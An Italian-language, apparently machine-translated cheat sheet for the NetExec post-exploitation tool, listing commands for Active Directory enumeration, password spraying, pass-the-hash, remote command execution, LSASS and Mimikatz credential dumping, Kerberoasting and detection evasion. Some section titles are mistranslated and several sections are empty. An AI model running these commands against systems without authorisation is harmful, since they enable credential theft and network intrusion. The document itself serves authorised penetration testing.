NetExec
Traduzione: Copia tutti i comandi
Traduzione: Generare PDF
< >
NetExec (ex CrackMapExec) è uno strumento post-esplorazione che aiuta a automatizzare la valutazione della sicurezza delle grandi reti di Active Directory attraverso l'abuso del protocollo di rete e gli attacchi credenziali.
## Installazione e configurazione
| | Command | Description | |
| --- | --- |
| | `pip3 install netexec` | Install NetExec via pip | |
| | `pipx install netexec` | Install with pipx (recommended) | |
| | `git clone https://github.com/Pennyw0rth/NetExec.git` | Clone from GitHub | |
| | `cd NetExec && pip3 install .` | Install from source | |
| | `netexec --version` | Check installed version | |
| | `netexec --help` | Display help information | |
## Uso di base
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.0/24` | Scan SMB on subnet | |
| | `netexec smb 192.168.1.100 -u username -p password` | Authenticate with credentials | |
| | `netexec smb 192.168.1.100 -u username -H ntlmhash` | Authenticate with NTLM hash | |
| | `netexec smb 192.168.1.100 -u '' -p ''` | Anonymous authentication | |
| | `netexec smb targets.txt -u username -p password` | Use target file | |
## Supporto del protocollo
### Protocollo SMB
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100` | Basic SMB enumeration | |
| | `netexec smb 192.168.1.100 --shares` | Enumerate shares | |
| | `netexec smb 192.168.1.100 --users` | Enumerate users | |
| | `netexec smb 192.168.1.100 --groups` | Enumerate groups | |
| | `netexec smb 192.168.1.100 --local-groups` | Enumerate local groups | |
| | `netexec smb 192.168.1.100 --sessions` | Enumerate sessions | |
| | `netexec smb 192.168.1.100 --disks` | Enumerate disks | |
### Protocollo di WinRM
| | Command | Description | |
| --- | --- |
| | `netexec winrm 192.168.1.100 -u username -p password` | WinRM authentication | |
| | `netexec winrm 192.168.1.100 -u username -p password -x "whoami"` | Execute command | |
| | `netexec winrm 192.168.1.100 -u username -p password -X powershell.ps1` | Execute PowerShell script | |
### Protocollo LDAP
| | Command | Description | |
| --- | --- |
| | `netexec ldap 192.168.1.100 -u username -p password` | LDAP authentication | |
| | `netexec ldap 192.168.1.100 -u username -p password --users` | Enumerate LDAP users | |
| | `netexec ldap 192.168.1.100 -u username -p password --groups` | Enumerate LDAP groups | |
| | `netexec ldap 192.168.1.100 -u username -p password --computers` | Enumerate computers | |
### Protocollo MSSQL
| | Command | Description | |
| --- | --- |
| | `netexec mssql 192.168.1.100 -u username -p password` | MSSQL authentication | |
| | `netexec mssql 192.168.1.100 -u username -p password -q "SELECT @@version"` | Execute SQL query | |
| | `netexec mssql 192.168.1.100 -u username -p password --local-auth` | Local authentication | |
### Protocollo SSH
| | Command | Description | |
| --- | --- |
| | `netexec ssh 192.168.1.100 -u username -p password` | SSH authentication | |
| | `netexec ssh 192.168.1.100 -u username -k id_rsa` | SSH key authentication | |
| | `netexec ssh 192.168.1.100 -u username -p password -x "id"` | Execute command | |
## Metodi di autenticazione
### Autenticazione della password
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 -u username -p password` | Single credential | |
| | `netexec smb 192.168.1.100 -u users.txt -p passwords.txt` | Credential lists | |
| | `netexec smb 192.168.1.100 -u username -p passwords.txt` | Password spraying | |
| | `netexec smb 192.168.1.100 -u users.txt -p password` | User enumeration | |
### Autenticazione della cenere
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 -u username -H ntlmhash` | NTLM hash | |
| | `netexec smb 192.168.1.100 -u username -H lmhash:ntlmhash` | LM:NTLM hash | |
| | `netexec smb 192.168.1.100 -u users.txt -H hashes.txt` | Hash lists | |
### Autenticazione di Kerberos
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 -u username -p password -k` | Kerberos authentication | |
| | `netexec smb 192.168.1.100 -u username --use-kcache` | Use Kerberos cache | |
| | `netexec smb 192.168.1.100 -u username -p password --kerberos` | Force Kerberos | |
## Enumerazione
### Condividi Enumerazione
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 --shares` | List shares | |
| | `netexec smb 192.168.1.100 --shares -u username -p password` | Authenticated share listing | |
| | `netexec smb 192.168.1.100 --spider SHARE` | Spider share contents | |
| | `netexec smb 192.168.1.100 --spider SHARE --pattern "*.txt"` | Search for files | |
### Enumerazione dell'utente
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 --users` | Enumerate users | |
| | `netexec smb 192.168.1.100 --rid-brute` | RID bruteforce | |
| | `netexec smb 192.168.1.100 --users --rid-brute 1000-2000` | RID range | |
### Enumerazione di gruppo
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 --groups` | Enumerate groups | |
| | `netexec smb 192.168.1.100 --local-groups` | Local groups | |
| | `netexec smb 192.168.1.100 --groups "Domain Admins"` | Specific group | |
### Enumerazione del computer
| | Command | Description | |
| --- | --- |
| | `netexec ldap 192.168.1.100 --computers` | Enumerate computers | |
| | `netexec smb 192.168.1.100 --computers` | SMB computer enumeration | |
## Esecuzione dei comandi
### Esecuzione del comando SMB
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 -u username -p password -x "whoami"` | Execute command | |
| | `netexec smb 192.168.1.100 -u username -p password -X script.ps1` | Execute PowerShell script | |
| | `netexec smb 192.168.1.100 -u username -p password --exec-method wmiexec` | Use WMI execution | |
| | `netexec smb 192.168.1.100 -u username -p password --exec-method smbexec` | Use SMB execution | |
### Esecuzione del comando WinRM
| | Command | Description | |
| --- | --- |
| | `netexec winrm 192.168.1.100 -u username -p password -x "Get-Process"` | PowerShell command | |
| | `netexec winrm 192.168.1.100 -u username -p password -X script.ps1` | Execute script | |
## Moduli
### Moduli integrati
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 -M spider_plus` | Enhanced spidering | |
| | `netexec smb 192.168.1.100 -M enum_avproducts` | Enumerate AV products | |
| | `netexec smb 192.168.1.100 -M gpp_password` | Group Policy Preferences | |
| | `netexec smb 192.168.1.100 -M lsassy` | LSASS dumping | |
| | `netexec smb 192.168.1.100 -M mimikatz` | Mimikatz execution | |
### Opzioni del modulo
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 -M spider_plus -o READ_ONLY=false` | Module options | |
| | `netexec smb 192.168.1.100 -M lsassy -o BLOODHOUND=true` | Bloodhound output | |
## Operazioni di database
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 --users --export users.csv` | Export to CSV | |
| | `netexec db` | Database management | |
| | `netexec db --workspace default` | Set workspace | |
| | `netexec db --clear-database` | Clear database | |
## Caratteristiche avanzate
### Credential Stuffing
| | Command | Description | |
| --- | --- |
| | `netexec smb targets.txt -u users.txt -p passwords.txt --continue-on-success` | Continue on success | |
| | `netexec smb targets.txt -u users.txt -p passwords.txt --fail-limit 3` | Fail limit | |
### Informativa sulla password
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 --pass-pol` | Get password policy | |
| | `netexec ldap 192.168.1.100 --pass-pol` | LDAP password policy | |
### Integrazione del sangue
| | Command | Description | |
| --- | --- |
| | `netexec ldap 192.168.1.100 -u username -p password --bloodhound` | Collect Bloodhound data | |
| | `netexec ldap 192.168.1.100 -u username -p password --bloodhound -c All` | All collections | |
### ASREPRoa
| | Command | Description | |
| --- | --- |
| | `netexec ldap 192.168.1.100 -u users.txt --asreproast asrep.txt` | ASREPRoast attack | |
| | `netexec ldap 192.168.1.100 -u username -p password --asreproast asrep.txt` | Authenticated ASREPRoast | |
### Kerberoasing
| | Command | Description | |
| --- | --- |
| | `netexec ldap 192.168.1.100 -u username -p password --kerberoasting kerb.txt` | Kerberoasting attack | |
## Produzione e registrazione
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 --verbose` | Verbose output | |
| | `netexec smb 192.168.1.100 --debug` | Debug output | |
| | `netexec smb 192.168.1.100 -o output.txt` | Save output to file | |
| | `netexec smb 192.168.1.100 --log logs/` | Log directory | |
## Configurazione
### File di configurazione (~/.nxc/nxc.conf)
Traduzione:
### Opzioni specifiche del protocollo
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 --port 445` | Custom port | |
| | `netexec smb 192.168.1.100 --timeout 5` | Connection timeout | |
| | `netexec smb 192.168.1.100 --threads 100` | Thread count | |
## Tecniche di evasione
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 --jitter 1-5` | Random delay | |
| | `netexec smb 192.168.1.100 --delay 2` | Fixed delay | |
| | `netexec smb 192.168.1.100 --obfs` | Obfuscation | |
## Scenari di attacco comuni
### Enumerazione del dominio
Traduzione:
### Attacchi Credenziali
Traduzione:
### Post-Exploitation
Traduzione:
## Integrazione con altri strumenti
### Integrazione di Impacket
| | Command | Description | |
| --- | --- |
| | `netexec smb 192.168.1.100 -u username -p password --exec-method wmiexec` | Use Impacket WMI | |
| | `netexec smb 192.168.1.100 -u username -p password --exec-method smbexec` | Use Impacket SMB | |
### Migrazione di Crackmapexec
| | Command | Description | |
| --- | --- |
| | `netexec --convert-cme-db` | Convert CME database | |
| | `alias cme='netexec'` | Create alias for compatibility | |
## Risoluzione dei problemi
| | Command | Description | |
| --- | --- |
| | `netexec --help` | General help | |
| | `netexec smb --help` | Protocol-specific help | |
| | `netexec -v` | Version information | |
| | `netexec --debug smb 192.168.1.100` | Debug mode | |
## Migliori Pratiche
- Utilizzare l'autenticazione prima dell'enumerazione quando possibile
- Implementare ritardi adeguati per evitare il rilevamento
- Utilizzare spazi di lavoro per organizzare diversi impegni
- Risultati delle esportazioni per ulteriori analisi
- Combina con altri strumenti per una valutazione completa
- Monitor per le risposte difensive
- Utilizzare conteggi filettati appropriati per evitare obiettivi schiaccianti
- Implementazione corretta registrazione per la documentazione
- Convalida le credenziali prima degli attacchi su larga scala
- Utilizzare tecniche di offuscamento quando necessario
## Considerazioni di sicurezza
- Utilizzare solo su reti autorizzate
- Implementare controlli di accesso adeguati
- Monitor per il rilevamento da strumenti di sicurezza
- Utilizzare i principi meno privilegi
- Documentare tutte le attività di conformità
- Coordinare con il team blu quando applicabile
- Implementare procedure di pulizia adeguate
- Conservare le credenziali in modo sicuro
- Utilizzare la comunicazione crittografata quando possibile
- Aggiornamenti regolari per mantenere l'efficacia